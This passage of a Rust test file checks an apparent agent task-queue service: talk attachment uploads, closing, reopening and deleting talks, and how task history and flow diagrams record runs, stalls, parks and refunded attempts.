15010 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15011 let f = Fixture::start().await;
15012 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15013
15014 let res = f
15017 .post_bytes(
15018 &format!("/api/talks/{id}/attachments"),
15019 &[("Content-Type", "image/png")],
15020 b"<html>not a picture</html>",
15021 )
15022 .await;
15023 assert!((400..500).contains(&res.status), "{}", res.body);
15024 }
15025
15026 #[tokio::test]
15027 async fn an_unknown_attachment_id_is_a_404() {
15028 let f = Fixture::start().await;
15029 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15030
15031 let res = f
15032 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15033 .await;
15034 assert_eq!(res.status, 404, "{}", res.body);
15035 }
15036
15037 #[tokio::test]
15038 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15039 let f = Fixture::start().await;
15040 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15041
15042 let uploaded = f
15043 .post_bytes(
15044 &format!("/api/talks/{id}/attachments"),
15045 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15046 PNG_BYTES,
15047 )
15048 .await;
15049 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15050 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15051
15052 let res = f
15053 .post(
15054 &format!("/api/talks/{id}/say"),
15055 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15056 )
15057 .await;
15058 assert_eq!(res.status, 202, "{}", res.body);
15059 let queued = res.json();
15060 let turns = queued["turns"].as_array().expect("turns array");
15061 assert_eq!(
15062 turns.len(),
15063 1,
15064 "an empty body with an attachment is still a turn: {queued}"
15065 );
15066 assert_eq!(turns[0]["who"], "operator");
15067 assert_eq!(turns[0]["body"], "");
15068 let atts = turns[0]["attachments"]
15069 .as_array()
15070 .expect("attachments array");
15071 assert_eq!(atts.len(), 1);
15072 assert_eq!(atts[0]["id"], att_id);
15073 assert_eq!(atts[0]["mime"], "image/png");
15074
15075 let on_disk = f.talks().get(&id).expect("get");
15078 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15079 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15080 }
15081
15082 #[tokio::test]
15083 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15084 let f = Fixture::start().await;
15085 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15086
15087 let res = f
15088 .post(
15089 &format!("/api/talks/{id}/say"),
15090 Some(&format!(
15091 r#"{{"text":"hi","attachments":["{}"]}}"#,
15092 "a".repeat(32)
15093 )),
15094 )
15095 .await;
15096 assert!((400..500).contains(&res.status), "{}", res.body);
15097 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15098
15099 let on_disk = f.talks().get(&id).expect("get");
15100 assert!(
15101 on_disk.turns.is_empty(),
15102 "a rejected attachment id must not partially record the turn: {:?}",
15103 on_disk.turns
15104 );
15105 }
15106
15107 #[tokio::test]
15108 async fn talk_close_makes_the_talk_refuse_further_turns() {
15109 let f = Fixture::start().await;
15110 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15111
15112 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15113 assert_eq!(closed.status, 200, "{}", closed.body);
15114 assert_eq!(closed.json()["status"], "closed");
15115
15116 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15118 assert_eq!(closed_again.status, 200);
15119 assert_eq!(closed_again.json()["status"], "closed");
15120
15121 let said = f
15122 .post(
15123 &format!("/api/talks/{id}/say"),
15124 Some(r#"{"text":"too late"}"#),
15125 )
15126 .await;
15127 assert_eq!(said.status, 409, "{}", said.body);
15128 }
15129
15130 #[tokio::test]
15131 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15132 let (_tmp, _repo, f) = talk_fixture().await;
15133 let id = f.post("/api/talks", None).await.json()["id"]
15134 .as_str()
15135 .expect("id")
15136 .to_owned();
15137 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15138 assert_eq!(closed.status, 200, "{}", closed.body);
15139
15140 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15141 assert_eq!(reopened.status, 200, "{}", reopened.body);
15142 assert_eq!(reopened.json()["status"], "open");
15143
15144 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15146 assert_eq!(reopened_again.status, 200);
15147 assert_eq!(reopened_again.json()["status"], "open");
15148
15149 let said = f
15150 .post(
15151 &format!("/api/talks/{id}/say"),
15152 Some(r#"{"text":"still there?"}"#),
15153 )
15154 .await;
15155 assert_eq!(
15156 said.status, 202,
15157 "a reopened talk accepts turns again: {}",
15158 said.body
15159 );
15160 }
15161
15162 #[tokio::test]
15163 async fn talk_reopen_on_an_unknown_id_is_404() {
15164 let f = Fixture::start().await;
15165 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15166 assert_eq!(res.status, 404, "{}", res.body);
15167 }
15168
15169 #[tokio::test]
15170 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15171 let f = Fixture::start().await;
15172 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15173
15174 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15175 assert_eq!(deleted.status, 204, "{}", deleted.body);
15176
15177 let after = f.get(&format!("/api/talks/{id}")).await;
15178 assert_eq!(after.status, 404, "{}", after.body);
15179
15180 let listed = f.get("/api/talks").await.json();
15181 assert!(
15182 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15183 "a deleted talk must not linger in the list: {listed}"
15184 );
15185 }
15186
15187 #[tokio::test]
15188 async fn talk_delete_on_an_unknown_id_is_404() {
15189 let f = Fixture::start().await;
15190 let res = f.delete("/api/talks/nonexistent-id").await;
15191 assert_eq!(res.status, 404, "{}", res.body);
15192 }
15193
15194 #[tokio::test]
15198 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15199 let f = Fixture::start().await;
15200 let (a, b, gone) = (
15201 "20260902-140501-aaaa",
15202 "20260902-140502-bbbb",
15203 "20260902-140503-cccc",
15204 );
15205 write_run(&f.runs(), a, RunStatus::Stalled);
15206 let mut review = RunState::new(
15207 PathBuf::from("/repo/magi"),
15208 "main".to_owned(),
15209 "0123456789abcdef".to_owned(),
15210 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15211 .to_owned(),
15212 Config::default(),
15213 );
15214 review.id = b.to_owned();
15215 review.status = RunStatus::Merged;
15216 write_state(&f.runs(), &review);
15217
15218 let mut task = Task::new(
15219 "retry".to_owned(),
15220 "Do the thing".to_owned(),
15221 PathBuf::from("/repo/magi"),
15222 Source::Human,
15223 );
15224 task.start(a.to_owned());
15225 task.stall("quota");
15226 task.start(a.to_owned());
15227 task.start(b.to_owned());
15228 task.start(gone.to_owned());
15229 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15231 f.queue().put(&mut task).expect("file the task");
15232
15233 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15234 assert_eq!(res.status, 200, "{}", res.body);
15235 let v = res.json();
15236 let h = v["history"].as_array().expect("history");
15237 assert_eq!(h.len(), 4, "{v}");
15238 assert_eq!(h[0]["kind"], "competition");
15239 assert_eq!(h[0]["status"], "stalled");
15240 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15241 assert_eq!(h[1]["kind"], "resume", "{v}");
15242 assert!(
15243 h[0]["outcome"]
15244 .as_str()
15245 .unwrap()
15246 .contains("unknown. Pass #2"),
15247 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15248 );
15249 assert!(
15250 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15251 "{v}"
15252 );
15253 assert!(
15254 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15255 "an unrecorded cause must not be narrated as an operator park: {v}"
15256 );
15257 assert_eq!(h[2]["kind"], "review");
15258 assert!(
15259 h[2]["description"]
15260 .as_str()
15261 .unwrap()
15262 .contains("magi/aaaa/A")
15263 );
15264 assert_eq!(h[2]["status"], "merged");
15265 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15266 assert_eq!(v["runs_unreadable"], 1);
15267 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15268 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15269 assert_eq!(nodes[4]["note"], "unreadable");
15270 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15271 assert_eq!(v["instruction"], "Do the thing");
15272 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15273
15274 let run = f.get(&format!("/api/runs/{a}")).await.json();
15276 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15277
15278 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15279 }
15280
15281 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15282 let mut s = RunState::new(
15283 PathBuf::from("/repo/magi"),
15284 "main".to_owned(),
15285 "0123456789abcdef".to_owned(),
15286 "Do it".to_owned(),
15287 Config::default(),
15288 );
15289 s.status = status;
15290 edit(&mut s);
15291 s
15292 }
15293
15294 fn flow_task(runs: &[&str]) -> Task {
15295 let mut t = Task::new(
15296 "t".to_owned(),
15297 "Do it".to_owned(),
15298 PathBuf::from("/repo/magi"),
15299 Source::Human,
15300 );
15301 for r in runs {
15302 t.start((*r).to_owned());
15303 }
15304 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15306 t
15307 }
15308
15309 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15310 let h = task_history(task, |id| {
15311 states
15312 .iter()
15313 .find(|(i, _)| *i == id)
15314 .and_then(|(_, s)| s.clone())
15315 });
15316 task_flow(task, &h, 5, None)
15317 }
15318
15319 #[test]
15320 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15321 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15322 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15323 let first = "2026-10-10T02:00:00Z".parse().unwrap();
15324 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15325 let held = "2026-10-10T04:00:00Z".parse().unwrap();
15326 let run = flow_run(RunStatus::Implementing, |s| {
15327 s.created_at = created;
15328 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15329 s.passes[0].started_at = first;
15330 s.passes[1].started_at = resumed;
15331 });
15332 let mut task = flow_task(&[RUN_X, RUN_X]);
15333 task.created_at = queued;
15334 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15335 task.status = TaskStatus::Held;
15336 task.held_at = Some(held);
15337 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15338 assert_eq!(
15339 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15340 vec![Some(queued), Some(first), Some(resumed), Some(held)]
15341 );
15342 assert!(flow.nodes.iter().all(|n| n.time_expected));
15343 let json = serde_json::to_value(&flow).unwrap();
15344 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15345 assert_eq!(json["nodes"][2]["time_expected"], true);
15346 }
15347
15348 #[test]
15349 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15350 let created = "2026-10-10T01:00:00Z".parse().unwrap();
15351 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15352 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15353 task.held_at = Some(created);
15355 task.blocked_at = Some(created);
15356 for status in [
15357 TaskStatus::Queued,
15358 TaskStatus::Running,
15359 TaskStatus::Blocked,
15360 TaskStatus::Done,
15361 TaskStatus::Failed,
15362 TaskStatus::Parked,
15363 TaskStatus::Held,
15364 ] {
15365 task.status = status;
15366 if status == TaskStatus::Held {
15367 task.held_at = None;
15368 }
15369 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15370 assert_eq!(flow.nodes[1].started_at, Some(created));
15371 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15372 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15373 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15374 let json = serde_json::to_value(&flow).unwrap();
15375 assert!(json["nodes"][3]["started_at"].is_null());
15376 assert_eq!(json["nodes"][3]["time_expected"], true);
15377 }
15378 }
15379
15380 #[test]
15381 fn flow_context_links_do_not_expect_start_times() {
15382 let mut task = flow_task(&[]);
15383 task.source = Source::Agent {
15384 run: "chat-id".to_owned(),
15385 node: "chat".to_owned(),
15386 };
15387 let origin = followup_origin(&fu(None), |_| None, |_| None);
15388 let flow = task_flow(&task, &[], 5, Some(&origin));
15389 for node in &flow.nodes[..2] {
15390 assert!(!node.time_expected);
15391 assert_eq!(node.started_at, None);
15392 }
15393 assert!(flow.nodes[2].time_expected);
15394 }
15395
15396 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15397 crate::queue::FollowUp {
15398 run: "20260901-000000-aaaa".to_owned(),
15399 origin_task: origin_task.map(str::to_owned),
15400 pr: "https://example.com/o/r/pull/1".to_owned(),
15401 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15402 .map(str::to_owned)
15403 .to_vec(),
15404 generation: 1,
15405 }
15406 }
15407
15408 fn parent_task() -> Task {
15409 let mut p = flow_task(&[]);
15410 p.title = "Parent title".to_owned();
15411 p.status = TaskStatus::Done;
15412 p
15413 }
15414
15415 #[test]
15416 fn flow_opens_with_the_parent_task_of_a_followup() {
15417 let p = parent_task();
15418 let pid = p.id.clone();
15419 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15420 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15421 let n = &f.nodes[0];
15422 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15423 assert_eq!(
15424 n.label,
15425 format!("Follow-up of {}", crate::queue::short(&pid))
15426 );
15427 assert_eq!(n.detail.as_deref(), Some("Parent title"));
15428 assert_eq!(n.status, Some("done"));
15429 assert_eq!(n.status_of, "task");
15430 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15431 assert_eq!(f.nodes[1].key, "start");
15432 assert_eq!(f.edges[0].from, "origin");
15433 assert_eq!(
15434 f.edges[0].label,
15435 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15436 );
15437 }
15438
15439 #[test]
15440 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15441 let o = followup_origin(
15442 &fu(Some("gone")),
15443 |_| None,
15444 |_| {
15445 Some(RunState::new(
15446 std::path::PathBuf::from("."),
15447 "main".to_owned(),
15448 "0".to_owned(),
15449 "t".to_owned(),
15450 crate::config::Config::default(),
15451 ))
15452 },
15453 );
15454 assert!(o.parent.is_none());
15455 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15456 let n = &f.nodes[0];
15457 assert_eq!(n.status_of, "run");
15458 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15459 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15460 }
15461
15462 #[test]
15463 fn flow_followup_with_nothing_readable_has_no_link() {
15464 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15465 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15466 let n = &f.nodes[0];
15467 assert_eq!(n.href, None);
15468 assert_eq!(n.note, Some("unreadable"));
15469 assert!(!n.readable);
15470 }
15471
15472 #[test]
15473 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15474 let o = followup_origin(&fu(None), |_| None, |_| None);
15475 let mut t = flow_task(&[]);
15476 t.origin_chat = Some("c1".to_owned());
15477 let f = task_flow(&t, &[], 5, Some(&o));
15478 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15479 t.source = Source::Agent {
15480 run: "c1".to_owned(),
15481 node: crate::queue::CHAT_NODE.to_owned(),
15482 };
15483 let f = task_flow(&t, &[], 5, Some(&o));
15484 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15485 assert_eq!(
15486 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15487 ("chat", "origin")
15488 );
15489 }
15490
15491 #[test]
15492 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15493 let mut p = parent_task();
15494 p.id = "a b/c".to_owned();
15495 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15496 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15497 }
15498
15499 #[test]
15500 fn flow_opens_with_the_chat_that_queued_the_task() {
15501 let mut t = flow_task(&[]);
15502 t.source = Source::Agent {
15503 run: "a b/c".to_owned(),
15504 node: crate::queue::CHAT_NODE.to_owned(),
15505 };
15506 let f = flow_for(&t, &[]);
15507 assert_eq!(f.nodes[0].key, "chat");
15508 assert_eq!(f.nodes[0].kind, "chat");
15509 assert_eq!(
15510 f.nodes[0].label,
15511 format!("Chat {}", crate::queue::short("a b/c"))
15512 );
15513 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15514 assert_eq!(f.nodes[1].key, "start");
15515 assert_eq!(
15516 f.edges[0],
15517 FlowEdge {
15518 from: "chat".to_owned(),
15519 to: "start".to_owned(),
15520 label: "queued from chat".to_owned(),
15521 attempt: AttemptCost::None,
15522 }
15523 );
15524 }
15525
15526 #[test]
15527 fn flow_has_no_chat_box_for_other_sources() {
15528 for source in [
15529 Source::Human,
15530 Source::Issue {
15531 number: 3,
15532 repo: "o/r".to_owned(),
15533 },
15534 Source::Agent {
15535 run: "20260904-014455-ab12".to_owned(),
15536 node: "implement".to_owned(),
15537 },
15538 ] {
15539 let mut t = flow_task(&[]);
15540 t.source = source;
15541 let f = flow_for(&t, &[]);
15542 assert_eq!(f.nodes[0].key, "start");
15543 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15544 assert!(f.edges.iter().all(|e| e.from != "chat"));
15545 }
15546 }
15547
15548 const FA: &str = "20260902-140501-aaaa";
15549 const FB: &str = "20260902-140502-bbbb";
15550
15551 #[test]
15552 fn flow_follows_blocked_retry_merged_to_done() {
15553 let mut t = flow_task(&[FA, FB]);
15554 t.status = TaskStatus::Done;
15555 let f = flow_for(
15556 &t,
15557 &[
15558 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15559 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15560 ],
15561 );
15562 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15563 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15564 assert_eq!(f.edges.len(), 3);
15565 assert_eq!(f.edges[0].label, "claimed");
15566 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15567 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15568 assert_eq!(f.edges[2].label, "merged \u{2192} done");
15569 assert_eq!(
15570 f.nodes[2].href.as_deref(),
15571 Some("#/runs/20260902-140502-bbbb")
15572 );
15573 assert!(f.nodes[2].decided);
15574 }
15575
15576 #[test]
15577 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15578 let quota = || {
15579 flow_run(RunStatus::Stalled, |s| {
15580 s.quota.push(crate::run::QuotaLoss {
15581 seat: "judge-1".to_owned(),
15582 node: "judge".to_owned(),
15583 at: Timestamp::now(),
15584 reset: None,
15585 })
15586 })
15587 };
15588 let mut t = flow_task(&[FA, FA]);
15589 t.status = TaskStatus::Queued;
15590 let f = flow_for(&t, &[(FA, Some(quota()))]);
15591 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15592 assert_eq!(f.nodes[1].note, Some("interrupted"));
15593 assert_eq!(
15594 f.nodes[1].status, None,
15595 "no outcome copied onto an earlier pass"
15596 );
15597 assert_eq!(
15598 f.edges[1].attempt,
15599 AttemptCost::Unknown,
15600 "a resume does not prove the earlier pass was refunded"
15601 );
15602 assert!(f.edges[1].label.contains("resume the same run"));
15603 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15604 assert_eq!(
15605 f.edges[2].label,
15606 "stalled after a resume, refund unknown \u{2192} queued"
15607 );
15608 assert!(!f.nodes[2].decided, "a stall is not a decision");
15609 assert_eq!(f.nodes[2].note, Some("no verdict"));
15610 }
15611
15612 #[test]
15613 fn flow_single_pass_quota_stall_is_refunded() {
15614 let t = flow_task(&[FA]);
15615 let f = flow_for(
15616 &t,
15617 &[(
15618 FA,
15619 Some(flow_run(RunStatus::Stalled, |s| {
15620 s.quota.push(crate::run::QuotaLoss {
15621 seat: "judge-1".to_owned(),
15622 node: "judge".to_owned(),
15623 at: Timestamp::now(),
15624 reset: None,
15625 })
15626 })),
15627 )],
15628 );
15629 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15630 }
15631
15632 #[test]
15633 fn flow_parked_refunds_and_stall_without_quota_spends() {
15634 let mut t = flow_task(&[FA]);
15635 t.status = TaskStatus::Queued;
15636 let f = flow_for(
15637 &t,
15638 &[(
15639 FA,
15640 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15641 )],
15642 );
15643 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15644 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15645 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15646 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15647 assert!(!f.nodes[1].decided);
15648 }
15649
15650 #[test]
15651 fn flow_keeps_an_unreadable_run_as_its_own_node() {
15652 let t = flow_task(&[FA, FB]);
15653 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15654 assert_eq!(f.nodes[1].note, Some("unreadable"));
15655 assert!(!f.nodes[1].readable);
15656 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15657 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15658 }
15659
15660 #[test]
15661 fn flow_names_the_branch_of_a_review_only_run() {
15662 let t = flow_task(&[FA]);
15663 let f = flow_for(
15664 &t,
15665 &[(
15666 FA,
15667 Some(flow_run(RunStatus::Merged, |s| {
15668 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15669 })),
15670 )],
15671 );
15672 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15673 assert_eq!(
15674 f.nodes[1].detail.as_deref(),
15675 Some("review-only run of branch magi/x/A")
15676 );
15677 }
15678
15679 #[test]
15680 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15681 let mut t = flow_task(&[FA]);
15682 t.status = TaskStatus::Held;
15683 let pr = crate::run::PrRecord {
15684 url: "https://example.test/pr/1".to_owned(),
15685 number: 1,
15686 state: "open".to_owned(),
15687 checks: "green".to_owned(),
15688 round: 0,
15689 rounds: 3,
15690 red_at_merge: Vec::new(),
15691 };
15692 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15693 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15694 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15695 t.status = TaskStatus::Done;
15696 let f = flow_for(&t, &[(FA, Some(blocked))]);
15697 assert_eq!(f.edges[1].label, "closed by hand: task is done");
15698 }
15699
15700 #[test]
15701 fn flow_with_no_runs_goes_from_queued_to_queued() {
15702 let t = flow_task(&[]);
15703 let f = flow_for(&t, &[]);
15704 assert_eq!(f.nodes.len(), 2);
15705 assert_eq!(f.edges.len(), 1);
15706 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15707 assert_eq!(f.edges[0].attempt, AttemptCost::None);
15708 }
15709
15710 #[test]
15713 fn a_parked_non_terminal_run_is_explained_as_parked() {
15714 let mut s = RunState::new(
15715 PathBuf::from("/repo/magi"),
15716 "main".to_owned(),
15717 "0123456789abcdef".to_owned(),
15718 "Do it".to_owned(),
15719 Config::default(),
15720 );
15721 s.status = RunStatus::Implementing;
15722 s.parked = true;
15723 let task = Task::new(
15724 "t".to_owned(),
15725 "Do it".to_owned(),
15726 PathBuf::from("/repo/magi"),
15727 Source::Human,
15728 );
15729 let v = task_run_view(
15730 "20260902-140501-aaaa",
15731 Some(&s),
15732 RunSlot {
15733 n: 1,
15734 resumed: false,
15735 resumed_later: None,
15736 prior: None,
15737 last: true,
15738 ..RunSlot::default()
15739 },
15740 &task,
15741 );
15742 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15743 }
15744
15745 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15746 let mut s = flow_run(RunStatus::Implementing, edit);
15747 s.parked = false;
15748 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15749 task_run_view(
15750 "20260902-140501-aaaa",
15751 Some(&s),
15752 RunSlot {
15753 n: 1,
15754 resumed: false,
15755 resumed_later: Some(2),
15756 prior: None,
15757 last: false,
15758 ..RunSlot::default()
15759 },
15760 &task,
15761 )
15762 }
15763
15764 #[test]
15765 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15766 let v = earlier_pass_view(|_| {});
15767 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15768 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15769 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15770 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15771 assert_eq!(v.exit, RunExit::Interrupted);
15772 assert_eq!(v.attempt, AttemptCost::Unknown);
15773 }
15774
15775 #[test]
15776 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15777 let v = earlier_pass_view(|s| {
15778 s.quota.push(crate::run::QuotaLoss {
15779 seat: "judge-1".to_owned(),
15780 node: "judge".to_owned(),
15781 at: Timestamp::now(),
15782 reset: None,
15783 });
15784 });
15785 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15786 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15787 assert_eq!(v.attempt, AttemptCost::Unknown);
15788 }
15789
15790 #[test]
15791 fn the_current_pass_states_its_recorded_cause_and_cost() {
15792 let slot = || RunSlot {
15793 n: 1,
15794 resumed: false,
15795 resumed_later: None,
15796 prior: None,
15797 last: true,
15798 ..RunSlot::default()
15799 };
15800 let task = flow_task(&["20260902-140501-aaaa"]);
15801 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15802 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15803 assert_eq!(
15804 (v.exit, v.attempt),
15805 (RunExit::Parked, AttemptCost::Refunded)
15806 );
15807 let spent = flow_run(RunStatus::Blocked, |_| {});
15808 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15809 assert_eq!(v.attempt, AttemptCost::Spent);
15810 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15811 }
15812
15813 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15814 crate::run::RunPass {
15815 index,
15816 started_at: Timestamp::now(),
15817 resumed: index > 0,
15818 ended_at: end.as_ref().map(|_| Timestamp::now()),
15819 end,
15820 task_entry: true,
15821 }
15822 }
15823
15824 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15825 Some(crate::run::PassEnd::Parked { cause })
15826 }
15827
15828 fn upgrade_cause() -> crate::run::ParkCause {
15829 crate::run::ParkCause::Upgrade {
15830 from: "0.121.0".to_owned(),
15831 to: Some("0.121.1".to_owned()),
15832 }
15833 }
15834
15835 fn settled_pass(
15836 run: &str,
15837 index: usize,
15838 cost: crate::queue::PassCost,
15839 ) -> crate::queue::TaskPass {
15840 crate::queue::TaskPass {
15841 run: run.to_owned(),
15842 pass_index: index,
15843 started_at: None,
15844 cost,
15845 attempts_after: 1,
15846 settled_at: Timestamp::now(),
15847 parked: None,
15848 }
15849 }
15850
15851 const RUN_X: &str = "20261011-223708-4334";
15852
15853 #[test]
15854 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15855 use crate::queue::PassCost;
15856 let run = flow_run(RunStatus::Implementing, |s| {
15857 s.passes = vec![
15858 recorded_pass(0, parked(upgrade_cause())),
15859 recorded_pass(1, None),
15860 ];
15861 });
15862 let mut task = flow_task(&[RUN_X, RUN_X]);
15863 task.attempts = 1;
15864 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15865 let h = task_history(&task, |_| Some(run.clone()));
15866 assert_eq!(h.len(), 2);
15867 assert_eq!(h[0].kind, "competition");
15868 assert_eq!(h[1].kind, "resume");
15869 assert_eq!(
15870 (h[0].exit, h[0].attempt),
15871 (RunExit::Parked, AttemptCost::Refunded)
15872 );
15873 assert!(
15874 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15875 "{}",
15876 h[0].outcome
15877 );
15878 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15879 assert!(
15880 h[0].outcome.contains("pass #2 resumed the same run"),
15881 "{}",
15882 h[0].outcome
15883 );
15884 assert!(
15885 h[0].outcome.contains("pass 1 of 2 over run"),
15886 "{}",
15887 h[0].outcome
15888 );
15889 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15890 assert_eq!(
15891 h[0].exit_label,
15892 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15893 );
15894 let f = task_flow(&task, &h, 2, None);
15895 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15897 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15898 assert!(
15899 f.edges[1].label.contains("upgrade 0.121.0"),
15900 "{}",
15901 f.edges[1].label
15902 );
15903 assert!(
